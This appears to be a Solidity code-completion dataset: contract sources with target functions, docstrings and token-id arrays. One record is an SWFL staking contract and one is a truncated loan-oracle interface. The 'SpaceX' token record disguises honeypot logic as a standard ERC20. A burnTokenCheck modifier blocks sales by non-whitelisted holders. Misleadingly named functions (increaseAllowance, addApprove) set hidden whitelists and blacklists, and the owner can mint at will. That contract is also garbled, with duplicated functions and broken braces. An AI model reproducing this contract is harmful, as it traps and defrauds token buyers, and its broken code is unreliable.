-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// 'SWFL' Staking smart contract
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Stake is Owned {
using SafeMath for uint256;
address public SWFL = 0xBa21Ef4c9f433Ede00badEFcC2754B8E74bd538A;
uint256 public totalStakes = 0;
uint256 stakingFee = 25; // 2.5%
uint256 unstakingFee = 25; // 2.5%
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens, uint256 stakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(IERC20(SWFL).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
if(totalStakes > 0)
_stakingFee= (onePercent(tokens).mul(stakingFee)).div(10);
if(totalStakes > 0)
// distribute the staking fee accumulated before updating the user's stake
_addPayout(_stakingFee);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.add(tokens.sub(_stakingFee));
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(SWFL).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round-1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(SWFL).transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount + stakers[staker].remainder);
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
require(IERC20(SWFL).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
if(totalStakes > 0)
// distribute the un staking fee accumulated after updating the user's stake
_addPayout(_unstakingFee);
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedSWFL(address staker) external view returns(uint256 stakedSWFL){
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the SWFL balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourSWFLBalance(address user) external view returns(uint256 SWFLBalance){
return IERC20(SWFL).balanceOf(user);
}
} | ------------------------------------------------------------------------ Stakers can un stake the staked tokens using this function @param tokens the number of tokens to withdraw ------------------------------------------------------------------------ add pending rewards to remainder to be claimed by user later, if there is any existing stake distribute the un staking fee accumulated after updating the user's stake | function WITHDRAW(uint256 tokens) external {
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
require(IERC20(SWFL).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
if(totalStakes > 0)
_addPayout(_unstakingFee);
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
| 6,324,654 | [
1,
29461,
934,
581,
414,
848,
640,
384,
911,
326,
384,
9477,
2430,
1450,
333,
445,
225,
2430,
326,
1300,
434,
2430,
358,
598,
9446,
8879,
17082,
527,
4634,
283,
6397,
358,
10022,
358,
506,
7516,
329,
635,
729,
5137,
16,
309,
1915,
353,
1281,
2062,
384,
911,
25722,
326,
640,
384,
6159,
14036,
24893,
1839,
9702,
326,
729,
1807,
384,
911,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
13601,
40,
10821,
12,
11890,
5034,
2430,
13,
3903,
288,
203,
540,
203,
3639,
2583,
12,
334,
581,
414,
63,
3576,
18,
15330,
8009,
334,
9477,
5157,
1545,
2430,
597,
2430,
405,
374,
16,
315,
1941,
1147,
3844,
358,
598,
9446,
8863,
203,
540,
203,
3639,
2254,
5034,
389,
23412,
6159,
14667,
273,
261,
476,
8410,
12,
7860,
2934,
16411,
12,
23412,
6159,
14667,
13,
2934,
2892,
12,
2163,
1769,
203,
540,
203,
3639,
2254,
5034,
2523,
310,
273,
4634,
17631,
1060,
12,
3576,
18,
15330,
1769,
203,
3639,
384,
581,
414,
63,
3576,
18,
15330,
8009,
2764,
25407,
1011,
2523,
310,
31,
203,
1171,
203,
3639,
2583,
12,
45,
654,
39,
3462,
12,
18746,
19054,
2934,
13866,
12,
3576,
18,
15330,
16,
2430,
18,
1717,
24899,
23412,
6159,
14667,
13,
3631,
315,
668,
316,
640,
17,
334,
6159,
2430,
8863,
203,
540,
203,
3639,
384,
581,
414,
63,
3576,
18,
15330,
8009,
334,
9477,
5157,
273,
384,
581,
414,
63,
3576,
18,
15330,
8009,
334,
9477,
5157,
18,
1717,
12,
7860,
1769,
203,
3639,
384,
581,
414,
63,
3576,
18,
15330,
8009,
2722,
7244,
350,
5839,
273,
2523,
310,
31,
203,
3639,
384,
581,
414,
63,
3576,
18,
15330,
8009,
2080,
5269,
7244,
26746,
33,
2078,
7244,
350,
5839,
31,
203,
3639,
384,
581,
414,
63,
3576,
18,
15330,
8009,
2260,
273,
225,
3643,
31,
203,
540,
203,
3639,
2078,
510,
3223,
273,
2078,
510,
3223,
18,
1717,
12,
7860,
1769,
203,
540,
203,
3639,
309,
12,
4963,
510,
3223,
405,
2
] |
./full_match/1/0x53A89B1EBd030540d6203CC3C731D7b7FA3C6cc6/sources/shua.sol | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract SpaceX is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
| 3,846,215 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
14059,
60,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
377,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
14739,
1887,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
11223,
1887,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
87,
1165,
6275,
273,
374,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
377,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
565,
2254,
5034,
3238,
389,
12908,
537,
620,
273,
22821,
7235,
3462,
6675,
4366,
9036,
2313,
3657,
6564,
4366,
10321,
5908,
7140,
713,
5292,
28,
7235,
8642,
7140,
27284,
2733,
5193,
6028,
25,
1105,
6260,
1105,
4630,
29,
7950,
5877,
5193,
713,
7235,
3437,
24886,
4449,
2733,
4763,
31,
203,
203,
565,
1758,
1071,
389,
8443,
31,
203,
565,
1758,
3238,
389,
4626,
5541,
31,
203,
565,
1758,
3238,
389,
318,
77,
10717,
273,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
31,
203,
377,
203,
203,
97,
203,
282,
3885,
261,
2
] |
./full_match/1/0xF7873f6F603b3C3d2C8a5e2b123A386373F2095f/sources/contracts/interfaces/ILoanPriceOracle.sol | * @title Interface to a LoanPriceOracle/ | interface ILoanPriceOracle {
error UnsupportedCollateral();
error InsufficientTimeRemaining();
error ParameterOutOfBounds(uint256 index);
function currencyToken() external view returns (IERC20);
function priceLoan(
address collateralToken,
uint256 collateralTokenId,
uint256 principal,
uint256 repayment,
uint256 duration,
uint256 maturity,
uint256 utilization
) external view returns (uint256);
function priceLoanRepayment(
address collateralToken,
uint256 collateralTokenId,
uint256 principal,
uint256 duration,
uint256 utilization
) external view returns (uint256);
pragma solidity ^0.8.0;
}
| 17,037,615 | [
1,
1358,
358,
279,
3176,
304,
5147,
23601,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
467,
1504,
304,
5147,
23601,
288,
203,
203,
565,
555,
7221,
13535,
2045,
287,
5621,
203,
565,
555,
22085,
11339,
950,
11429,
5621,
203,
565,
555,
5498,
11224,
5694,
12,
11890,
5034,
770,
1769,
203,
203,
203,
565,
445,
5462,
1345,
1435,
3903,
1476,
1135,
261,
45,
654,
39,
3462,
1769,
203,
203,
203,
565,
445,
6205,
1504,
304,
12,
203,
3639,
1758,
4508,
2045,
287,
1345,
16,
203,
3639,
2254,
5034,
4508,
2045,
287,
1345,
548,
16,
203,
3639,
2254,
5034,
8897,
16,
203,
3639,
2254,
5034,
2071,
2955,
16,
203,
3639,
2254,
5034,
3734,
16,
203,
3639,
2254,
5034,
29663,
16,
203,
3639,
2254,
5034,
1709,
1588,
203,
565,
262,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
6205,
1504,
304,
426,
9261,
12,
203,
3639,
1758,
4508,
2045,
287,
1345,
